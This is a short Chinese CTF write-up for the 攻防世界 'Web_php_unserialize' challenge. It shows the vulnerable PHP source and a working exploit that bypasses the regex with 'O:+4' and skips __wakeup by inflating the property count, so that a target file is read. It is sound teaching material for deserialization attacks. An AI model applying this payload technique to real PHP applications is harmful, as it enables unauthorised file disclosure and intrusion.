题目:攻防世界Web_php_unserialize
如果最后一步直接把反序列化表达式丢到base64 encoder里会直接错,因为php序列化的时候private属性会转成看不见的字符。所以应该直接利用php自带的base64编码函数。
源码:
<?php
class Demo {
private $file = 'index.php';//默认值,可以修改
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() { //参数大于属性的时候可以绕过wakeup
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) { //o:(数字)+ : 4=+4绕过正则
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
正确的exp:
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() { //参数大于属性的时候可以绕过wakeup
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$obj=new Demo('fl4g.php');
$out=serialize($obj);
$out=str_replace('O:4',"O:+4",$out);//O:+4,:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
$out=str_replace(":1:",":2:",$out);//O:+4,:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
$out=base64_encode($out);//
echo($out);
?>